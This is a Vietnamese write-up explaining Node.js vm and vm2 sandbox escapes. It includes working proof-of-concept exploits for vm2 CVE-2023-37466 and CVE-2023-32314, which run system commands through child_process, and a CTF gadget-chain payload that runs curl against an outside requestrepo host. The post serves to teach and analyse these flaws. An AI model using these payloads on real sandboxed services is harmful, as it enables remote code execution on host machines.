NodeJS escape VM and some gadgets chaining in NodeJS
NodeJS escape VM and some gadgets chaining in NodeJS
Sandbox là gì?
Khi chúng ta chạy một số chương trình có thể gây nguy hiểm cho hệ thống thì chúng ta cần một cách để chạy chúng mà không ảnh hưởng đến hệ thống. Đó chính là lý do mà sandbox ra đời. Sandbox là một môi trường ảo được tạo ra hoàn toàn cô lập với máy chính (nhưng vẫn sử dụng tài nguyên của máy chính) để chạy các chương trình mà không ảnh hưởng đến hệ thống. Do đó, bất kỳ ảnh hướng gây hại nào từ code độc hại sẽ chỉ ảnh hưởng lên sandbox không ảnh hướng đến máy chính.
Escape VM
VM escape xảy ra khi attacker có thể thoát ra ngoài môi trường độc lập kia và thực hiện các lệnh độc hại lên máy chính. Đây là một lỗi rất nguy hiểm vì nó có thể để attacker có khả năng xâm nhập vào máy chính
Module VM
Sử dụng module node:vm
(ngoài ra còn có vm2
) cho phép lập trình viên biên dịch và chạy code động bên trong ngữ cảnh V8 Vitural Machine, có thể hiểu đơn giản là code được thực thi có global object khác với code gọi nó. Ví dụ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const vm = require('node:vm');
const x = 1;
const context = { x: 2 };
vm.createContext(context); // tạo ngữ cảnh
const code = 'x += 40; var y = 17;';
// `x` and `y` are global variables in the context.
// Initially, x has the value 2 because that is the value of context.x.
vm.runInContext(code, context);
console.log(context.x); // 42
console.log(context.y); // 17
console.log(x);
console.log(y);
// 1; y is not defined.
Có nghĩa là code chạy trong context
sẽ không ảnh hưởng đến biến ngoài context
và ngược lại
An insecure JavaScript sandbox
vm.runInThisContext(code)
: Tạo một sandbox trong phạm vi global hiện tại và thực thi mã truyền vào như là tham số. Sandbox này truy cập được vào các thuộc tính của global nhưng không thể truy cập vào các thuộc tính của các module khác
1
2
3
4
5
6
7
8
const vm = require('vm');
let globalobject = process;
const vmResult = vm.runInThisContext('process');;
if (globalobject === vmResult) {
console.log('VM is running in the global context');
}
///VM is running in the global context
1
2
3
4
5
6
7
const vm = require('vm');
let localVar = 'di';
const vmResult = vm.runInThisContext('localVar = "box";');
console.log('vmResult:', vmResult);
console.log('localVar:', localVar);
// vmResult: 'box', localVar: 'di'
vm.createContext([sandbox])
: Trước khi sử dụng, cần tạo một đối tượng sandbox, sau đó chuyển đối tượng sandbox này làm tham số cho phương thức (nếu không có, một đối tượng sandbox rỗng sẽ được tạo tự động). V8 (JavaScript Engine) tạo ra một phạm vi mới bên ngoài global hiện tại cho đối tượng sandbox. Lúc này, đối tượng sandbox trở thành đối tượng toàn cục của phạm vi mới được tạo, và bên trong sandbox, không thể truy cập các thuộc tính trong global
1
2
3
4
5
6
7
8
const vm = require('vm');
global.test = 9;
const sandbox = { test : 9};
vm.createContext(sandbox);
vm.runInContext('test = test + 3', sandbox);
console.log(global.test); // 9
console.log(sandbox); // { test: 12 }
Hàm vm.runInNewContext(code[, sandbox][, options])
là sự kết hợp của createContext và runInContext. Nó nhận vào mã cần thực thi (code), một đối tượng sandbox và tùy chọn (options). Nói đơn giản là gộp 2 function làm một
vm.Script
là một lớp trong Node.js cho phép bạn biên dịch và chạy đoạn mã JavaScript trong một ngữ cảnh cụ thể. Các đối tượng của lớp vm.Script chứa các đoạn mã đã được biên dịch trước và có thể được thực thi nhiều lần trong một hoặc nhiều sandbox.
script
có thể được chạy thông qua runInNewContext
Khi thực hiện thoát khỏi sandbox, mục tiêu thường là thực hiện RCE (Remote Code Execution). Trong Node.js, để thực hiện RCE, chúng ta cần truy cập vào đối tượng process
. Một khi đã có được đối tượng process
, chúng ta có thể sử dụng require
để nhập child_process
và sau đó dùng child_process
để thực thi các lệnh hệ thống. Mặc dù đối tượng process
được gắn vào global
, khi tạo một ngữ cảnh mới (sử dụng createContext
), đối tượng global
không còn có thể truy cập được. Vì vậy, mục tiêu cuối cùng là tìm cách đưa đối tượng process
từ global
vào môi trường sandbox.
1
2
3
const vm = require("vm");
const test = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(test);
hoặc
1
2
3
4
5
const vm = require('vm');
const sandbox = { test : 1337};
vm.createContext(sandbox);
vm.runInContext(`test = this.constructor.constructor('return process.env')()`, sandbox);
console.log(sandbox)
Vậy vì sao chúng ta có thể thoát khỏi sandbox và access được global? Lý do là vì trong đoạn code trên this
trỏ đến runInContext
( hoặc runInNewContext
), nó không thuộc về sandbox, chúng ta có thể dựa vào cái này để lấy constructor của nó sau đó tiếp tục lấy constructor của nó ta sẽ lấy được Function
(cái này là của bên ngoài sandbox). Cuối cùng dựa vào Function
mà ta vừa lấy được ta có thể lấy được process
Nói một cách đơn giản, quá trình này ta chain các gadget
để truy cập đến constructor của Function, sau đó tạo hàm và lấy process. Đây chính là cách đơn giản nhất để thoát khỏi sandbox
Sau khi có process thì RCE là chuyện đơn giản
Một số trường hợp khác
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const vm = require('vm');
const script = `(() => {
const a = {};
a.toString = function () {
const cc = arguments.callee.caller;
const p = (cc.constructor.constructor('return process'))();
return p.mainModule.require('child_process').execSync('whoami').toString();
};
return a;
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script, context);
console.log('Hello ' + res);
Khi this đang là null và không có đối tượng nào khác để tham chiếu, chúng ta có thể tận dụng thuộc tính nội tại của đối tượng hàm, cụ thể là arguments.callee.caller
. Thuộc tính này cho phép chúng ta xác định hàm nào đã gọi hàm hiện tại.
Trong tình huống này, việc thoát khỏi sandbox (sandbox escape) thực chất là tìm một đối tượng bên ngoài môi trường sandbox và gọi một trong các phương thức của nó. Cách thực hiện là định nghĩa một hàm trong sandbox, sau đó gọi hàm đó từ bên ngoài sandbox. Khi hàm trong sandbox được gọi, thuộc tính arguments.callee.caller
sẽ trả về đối tượng hàm từ bên ngoài sandbox. Từ đó, chúng ta có thể khai thác để thực hiện việc thoát khỏi môi trường sandbox.
Giải thích đơn giản
Tóm lại, muốn escape sandbox thì chúng ta cần access được bất kỳ thứ gì không thuộc sandbox, như 2 ví dụ trên là Function
và arguments.callee.caller
và từ đó ta có thể làm bất cứ điều gì.
- Ngoài
vm
ra thì còn một module khác làvm2
được coi là “bản nâng cấp” củavm
.vm2
là một sandbox hổ trợ chạy các unstrusted code với các built-in module của Nodejs.vm2
dùng Proxy để ngăn chặn thoát khỏi sandbox. Tuy nhiên tương tự nhưvm
thìvm2
cũng có thể bị thoát khỏi sandbox nhưng cách thức thoát khỏi nó phức tạp hơn nên ta sẽ đi vào phân tích các CVE gần đây
CVE-2023-37466
In vm2 for versions up to 3.9.19, Promise handler sanitization can be bypassed with @@species accessor property allowing attackers to escape the sandbox and run arbitrary code.
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const {VM} = require("vm2");
const vm = new VM();
const code = `
async function fn() {
(function stack() {
new Error().stack;
stack();
})();
}
p = fn();
p.constructor = {
[Symbol.species]: class FakePromise {
constructor(executor) {
executor(
(x) => x,
(err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
)
}
}
};
p.then();
`;
console.log(vm.run(code));
Phân tích
Một trạng thái bất thường của máy chính trong ngữ cảnh bất đồng bộ (Promise) sẽ có thể leak object của máy chính ra ngoài, như ở trên ta có thể dựa vào đây để thoát khỏi sandbox và RCE
Ban đầu khi mới vào thì Promise.prototype.then
đã bị viết đè bằng cách dùng Proxy để khử các tham số mà người dùng cung cấp cho function onRejected
Đọc document của ES2022 của Promise.prototype.then
có chỉ một đoạn liên quan đến @@species
ở đây link
1
2
3
4
5
6
7
When the then method is called with arguments onFulfilled and onRejected, the following steps are taken:
1. Let promise be the this value.
2. If IsPromise(promise) is false, throw a TypeError exception.
**3. Let C be ? SpeciesConstructor(promise, %Promise%).**
**4. Let resultCapability be ? NewPromiseCapability(C).**
**5. Return PerformPromiseThen(promise, onFulfilled, onRejected, resultCapability).**
Có 3 đoạn cần chú ý ở trên đó là SpeciesConstructor
, NewPromiseCapability
và PerformPromiseThen
1
2
3
4
5
6
7
1. Let C be ? Get(O, "constructor").
2. If C is undefined, return defaultConstructor.
3. If Type(C) is not Object, throw a TypeError exception.
4. Let S be ? Get(C, @@species).
5. If S is either undefined or null, return defaultConstructor.
6. If IsConstructor(S) is true, return S.
7. Throw a TypeError exception.
Đây là pesudo code của SpeciesConstructor
cả đoạn trên tóm lại là nó sẽ return object @@species
và tiếp theo là NewPromiseCapability
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1. If IsConstructor(C) is false, throw a TypeError exception.
2. NOTE: C is assumed to be a constructor function that supports the parameter conventions of the Promise constructor (see 27.2.3.1).
3. Let promiseCapability be the PromiseCapability Record { [[Promise]]: undefined, [[Resolve]]: undefined, [[Reject]]: undefined }.
4. Let executorClosure be a new Abstract Closure with parameters (resolve, reject) that captures promiseCapability and performs the following steps when called:
a. If promiseCapability.[[Resolve]] is not undefined, throw a TypeError exception.
b. If promiseCapability.[[Reject]] is not undefined, throw a TypeError exception.
c. Set promiseCapability.[[Resolve]] to resolve.
d. Set promiseCapability.[[Reject]] to reject.
e. Return undefined.
5. Let executor be CreateBuiltinFunction(executorClosure, 2, "", « »).
6. Let promise be ? Construct(C, « executor »).
7. If IsCallable(promiseCapability.[[Resolve]]) is false, throw a TypeError exception.
8. If IsCallable(promiseCapability.[[Reject]]) is false, throw a TypeError exception.
9. Set promiseCapability.[[Promise]] to promise.
10. Return promiseCapability.
Cả đoạn trên ta có thể rút gọn bỏ đi các phần không liên quan đến CVE là như sau
- NewPromiseCapability cho phép tạo một constructor và gán nó bằng giá trị của
@@sepcies
, sau đó sử dụngexecutor
là một closure (đại loại là nó có thể access được các biến từ phạm vi bên ngoài nó) nhận 2 xử lý làresolve
vàreject
và gán mỗi giá trị vàoresultCapability.[[Resolve]]
vàresultCapability.[[Reject]]
.
Tiếp tục ở đoạn PerformPromiseThen
, nó có định nghĩa promise.[[PromiseState]]
lúc bị rejected
1
2
3
4
5
6
7
8
9
8. Let rejectReaction be the PromiseReaction { [[Capability]]: resultCapability, [[Type]]: Reject, [[Handler]]: onRejectedJobCallback }.
9. If promise.[[PromiseState]] is pending, then ...
10. Else if promise.[[PromiseState]] is fulfilled, then ...
11. Else,
a. Assert: The value of promise.[[PromiseState]] is rejected.
b. Let reason be promise.[[PromiseResult]].
c. If promise.[[PromiseIsHandled]] is false, perform HostPromiseRejectionTracker(promise, "handle").
d. Let rejectJob be NewPromiseReactionJob(rejectReaction, reason).
e. Perform HostEnqueuePromiseJob(rejectJob.[[Job]], rejectJob.[[Realm]]).
Trong này có 1 đoạn quan trọng là rejectJob = NewPromiseReactionJob(rejectReaction, reason)
vì nó sẽ là điều kiện để chúng ta thực hiện RCE
Tiếp tục đọc mã giả của NewPromiseReactionJob
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. Let job be a new Job Abstract Closure with no parameters that captures reaction and argument and performs the following steps when called:
a. Let promiseCapability be reaction.[[Capability]].
b. Let type be reaction.[[Type]].
c. Let handler be reaction.[[Handler]].
d. **If handler is empty, then**
i. If type is Fulfill, let handlerResult be NormalCompletion(argument).
ii. Else,
1. Assert: type is Reject.
2. **Let handlerResult be ThrowCompletion(argument).**
e. Else, let handlerResult be Completion(HostCallJobCallback(handler, undefined, « argument »)).
f. If promiseCapability is undefined, then
i. Assert: handlerResult is not an abrupt completion.
ii. Return empty.
g. Assert: promiseCapability is a PromiseCapability Record.
h. **If handlerResult is an abrupt completion, then**
i. **Return ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).**
i. Else,
i. Return ? Call(promiseCapability.[[Resolve]], undefined, « handlerResult.[[Value]] »).
Ta sẽ chú ý đến các đoạn d.ii, h.i
Nếu handler
không là rỗng và type là Reject (nghĩa là promise đang bị từ chối), thì handlerResult sẽ được gán là một hoàn thành kiểu ném lỗi của argument. Điều này thể hiện việc promise đã bị từ chối.
Sau đó là
Nếu handlerResult
là một hoàn thành đột ngột(abrupt completion), thì
Trả về ? Call(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).
Nếu handlerResult là một hoàn thành đột ngột (nghĩa là xảy ra lỗi trong quá trình xử lý), thì cần phải gọi hàm Reject của promiseCapability với giá trị lỗi từ handlerResult.
Vậy từ tất cả thứ trên, tóm lại ta có thể escape sandbox như sau:
- Gọi một function bất đồng bộ để nó throw ra trạng thái bất thường ở máy chính, trả về rejected Promise object
- Ta sẽ ghi đè constructor của Promise object với thuộc tính của @@species (Symbol.species) với giá trị là executor thừa hưởng từ lớp cha và gọi với 2 hàm xử lý
resolve
vàreject
(ta bỏ payload vào đây) - Gọi
then
để triggerCall(promiseCapability.[[Reject]], undefined, « handlerResult.[[Value]] »).
và ez RCE
CVE-2023-32314
1
A sandbox escape vulnerability exists in vm2 for versions up to 3.9.17. It abuses an unexpected creation of a host object based on the specification of Proxy, and allows RCE via Function in the host context.
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("echo hacked").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
Phân tích
CVE này nhìn cũng khá giống CVE trên kia nhưng nó đơn giản hơn
Khi err.name.toString
được gọi ở ErrorPrototypeToString
trong prepareStackTrace
thì nó lại là trong ngữ cảnh của máy chính
error
củaprepareStackTrace
không được xử lý qua cơ chế proxy củavm2
nên nó được gọi thẳng bởi V8
Và còn 1 điều nữa là ở Proxy khi được gọi đến nó có 1 đoạn mã giả như sau
1
2
7. Let argArray be CreateArrayFromList(argumentsList).
8. Return ? Call(trap, handler, « target, thisArgument, argArray »).
Khi err.name.toString
được gọi thì CreateArrayFromList()
sẽ tạo ra argArray ở ngữ cảnh của máy chính sau đó được truyền vào apply(target, thiz, args)
. Vậy ta có thể tiếp cận được Function
ở máy chính. Từ đó RCE
Gadgets chaining
Gadgets chaining là một kỹ thuật sử dụng các gadgets (một chuỗi các lệnh nhỏ) để thực hiện kết nối chúng lại với nhau. Ví dụ như việc sử dụng các gadgets để thực hiện một hành động như RCE
Note: Cách này mình đã đọc được từ writeup của các giải amstrong2024 và TSG2023 và tham khảo của anh shin24 link mình sẽ đính kèm bên dưới
1
2
3
4
5
6
7
toString.constructor.prototype.toString=toString.constructor.prototype.call;
var a=["process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')"];
a[1]="x";
b={};
b[Symbol.hasInstance]=a.sort;
b["__proto__"]=a;
toString.constructor instanceof b;
Giải thích sơ qua về payload này
Đầu tiên chúng ta sẽ gọi đến function
toString
và gán giá trị của functioncall
cho nóTiếp theo ta tạo một mảng a với giá trị đầu tiên là payload mà ta muốn execute (payload này sẽ được thực thi trong anonymous function)
Tiếp theo ta gán giá trị
'x'
choa[1]
(sẽ giải thích ở bên dưới vì sao có phần này)Sau đó tạo một object b với key là
Symbol.hasInstance
và value làa.sort
Sau đó set
__proto__
của b là aCuối cùng là kiểm tra xem toString.constructor có phải là instance của b (thật ra đoạn này không hẳn là kiểm tra mà là điều kiện để RCE)
Trước khi đi vào phần phân tích sâu hơn, mình sẽ giải thích về cách của instanceof hoạt động
Syntax
1
object instanceof constructor
Toán tử instanceof
là toán tử dùng để kiểm tra xem một đối tượng có thuộc lớp nào đó hay không
Ví dụ đơn giản như sau
1
2
3
4
class BOX {}
let DI = new BOX();
console.log(DI instanceof BOX); //true
Ngoài ra nếu constructor
(phần bên phải của instanceof
) có phương thức Symbol.hasInstance
thì nó sẽ được ưu tiên gọi, với object
(phần bên trái của instanceof
) là tham số truyền vào còn bên phải là this
sau đó dùng kết quả để trả về kết quả của instanceof
Ví dụ 1:
1
2
3
4
5
6
7
8
9
BOX = {[Symbol.hasInstance]: (dib) => {
// console.log(dib)
return dib === 'dib'
}};
DI = 'dib'
console.log(DI instanceof BOX); //true
Ví dụ 2:
1
2
3
4
5
6
7
8
9
10
a = ['1','0']
a.__proto__['loG'] = function(a) {
console.log("triggered")
}
BOX = {[Symbol.hasInstance]: a.loG};
DI = Function
console.log(DI instanceof BOX); // "triggered"
// console.log(a)
Đến phần chính, đi sâu vào giải thích vì sao nó hoạt động
1
toString.constructor instanceof b;
Khi câu lệnh này được thực thi thì:
Khi
instanceof
được sử dụng thì nó sẽ tìm kiếm xem b có thuộc tínhSymbol.hasInstance
không? Nếu có thì sẽ thực thi gọi tớia.sort
làthis
vàtoString.constructor
(AKAFunction
) là tham số truyền vàoKhi
a.sort
(function sort) được gọi đến thì bình thường thì nó sẽ cố gắng chuyển tất cả các phần tử trong mảng thành string bằng hàmtoString()
rồi so sánh bằngfunction
truyền vào. Điều này vô tình trigger hàmcall()
chúng ta đã đổi ở lúc đầu và bây giờ cảarray
sẽ trở thànhparameter
củanew Function
Nói thêm ở phần này về lý do phải set
b[__proto__]=a
là vìsort
làfunction
củaarray
nên chúng ta phải đổiprototype
của nó thànharray
thì sort mới có thể được thực thi và hơn hết khi đósort
sẽ được thực thi trênb
,b
lúc này là mộtobject
nênsort
sẽ cố gắng tìm kiếmarray
trongobject
này bằng cách tìm kiếm trongprototype
của nó khi đó nó sẽ tìm được 1array
trong vì ta setprototype
củab
làa
Giá trị return của
new Function
này sẽ là một anonymous vớia[0]
là function vàa[1]
là parameter
1
2
3
4
(function anonymous(x
) {
process.mainModule.require('child_process').execSync('curl http://yh9wz5br.requestrepo.com')
})
- Để nói thêm một chút nữa thì flow của chương trình sẽ như sau trigger
sort
->sort
nhậnFunction
làm tham số ->Function
là hàm được sử dụng để ‘so sánh’ các phần tử bên trong mảng -> Mỗi phần từ được chuyển qua string(triggercall
function) -> Trả về một anonymouse function -> Cuối cùng giá trị sau khi ‘so sánh’ sẽ được trả về dưới dạng string (triggercall
function)
Đây là code mô phỏng lại quá trình sort
1
2
3
toString.constructor.prototype.toString=Function.call;
Function(a[1].toString(),a[0].toString()).toString();